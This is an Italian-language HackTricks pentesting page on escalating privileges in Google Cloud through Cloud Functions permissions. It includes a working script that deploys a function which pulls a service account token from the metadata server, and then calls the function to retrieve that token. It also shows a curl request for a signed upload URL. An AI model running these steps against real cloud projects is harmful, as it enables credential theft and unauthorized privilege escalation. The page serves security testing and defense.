GCP - Cloudfunctions Privesc

Support HackTricks

cloudfunctions

Maggiore informazione su Cloud Functions:

GCP - Cloud Functions Enum

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Un attaccante con questi privilegi può creare una nuova Cloud Function con codice arbitrario (maligno) e assegnargli un Service Account. Poi, leakare il token del Service Account dai metadati per elevare i privilegi. Alcuni privilegi per attivare la funzione potrebbero essere richiesti.

Gli script di exploit per questo metodo possono essere trovati qui e qui e il file .zip precompilato può essere trovato qui.

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Un attaccante con questi privilegi può modificare il codice di una Function e persino modificare il service account associato con l'obiettivo di esfiltrare il token.

Per distribuire le cloud functions avrai anche bisogno di permessi actAs sul service account di calcolo predefinito o sul service account utilizzato per costruire l'immagine.

Alcuni privilegi extra come il permesso .call per la versione 1 di cloudfunctions o il ruolo role/run.invoker per attivare la funzione potrebbero essere richiesti.

# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>

Se ricevi l'errore Permission 'run.services.setIamPolicy' denied on resource... è perché stai usando il parametro --allow-unauthenticated e non hai abbastanza permessi per farlo.

Lo script di exploit per questo metodo può essere trovato qui.

cloudfunctions.functions.sourceCodeSet

Con questo permesso puoi ottenere un URL firmato per poter caricare un file in un bucket di funzioni (ma il codice della funzione non verrà modificato, devi comunque aggiornarlo)

# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

Non sono davvero sicuro di quanto sia utile solo questo permesso dal punto di vista di un attaccante, ma è buono da sapere.

cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs

Dati a te stesso uno dei precedenti privilegi .update o .create per l'escalation.

cloudfunctions.functions.update

Avere solo permessi cloudfunctions, senza iam.serviceAccounts.actAs, non ti permetterà di aggiornare la funzione QUINDI QUESTO NON È UN VALIDO PRIVESC.

Permessi di Scrittura sul Bucket

Potresti pensare che un attaccante con permessi di scrittura sul bucket dove è memorizzato il codice delle Cloud Functions sarà in grado di modificare il codice sovrascrivendo il function_code.zip e poi far eseguire alla funzione codice arbitrario.

Tuttavia, questo non è vero, semplicemente sovrascrivere il codice all'interno del bucket non modificherà il codice che viene eseguito.

Riferimenti

Supporta HackTricks

Last updated